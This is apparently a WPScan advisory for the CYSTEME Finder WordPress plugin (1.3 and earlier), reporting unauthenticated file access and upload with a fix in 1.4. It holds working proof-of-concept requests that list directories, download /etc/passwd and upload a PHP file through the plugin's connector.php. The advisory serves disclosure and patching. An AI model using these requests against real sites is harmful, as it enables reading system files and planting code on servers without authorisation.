CYSTEME Finder <= 1.3 - Unauthenticated LFI and Unauthenticated File Upload

Sign up to our free email alerts service for instant vulnerability notifications!

Description
CYSTEME does not properly check SESSION Cookies allowing a remote attacker to upload, view, or delete files from any location on the remote file system. 
Proof of Concept
- Retrieve all data in the root wordpress directory. This will return JSON. 

Exploit:

http://example.com/wp-content/plugins/cysteme-finder/php/connector.php?wphome=/var/www/wordpress&cmd=open&init=1&tree=1

Simply replacing wphome with any other directory path will return file information for that directory. 
If you want to download that file, get the hash value for the file and include it in the following request:
 
Will download /etc/passwd
http://example.com/wp-content/plugins/cysteme-finder/php/connector.php?wphome=/etc&cmd=file&target=l1_cGFzc3dk&download=1

### File Upload

As with downloading the files, you will need the hash value for the target directory. With the hash value, send a payload similar to the following. 

POST /wordpress/wp-content/plugins/cysteme-finder/php/connector.php?wphome=/var/www/wordpress/&wpurl=http://example.com HTTP/1.1
Host: http://example.com
Content-Length: 314
Origin: http://example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: multipart/form-data; boundary=--------723608748
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close

----------723608748
Content-Disposition: form-data; name="cmd"

upload
----------723608748
Content-Disposition: form-data; name="target"

l1_Lw
----------723608748
Content-Disposition: form-data; name="upload[]"; filename="test.php"
Content-Type: text/html

<?php phpinfo(); ?>
----------723608748--

Affects

Plugin cysteme-finder
fixed in version 1.4

References

URL https://plugins.trac.wordpress.org/changeset/1490268/cysteme-finder

Classification

Type MULTI

Miscellaneous

Submitter t0w3ntum
Submitter Website http://t0w3ntum.com/
Submitter Twitter t0w3ntum
Views 240
Verified Yes
WPVDB ID 8612

Timeline

Publicly Published 2016-08-24 (4 months ago)
Added 2016-09-05 (3 months ago)
Last Updated 2016-09-05 (3 months ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.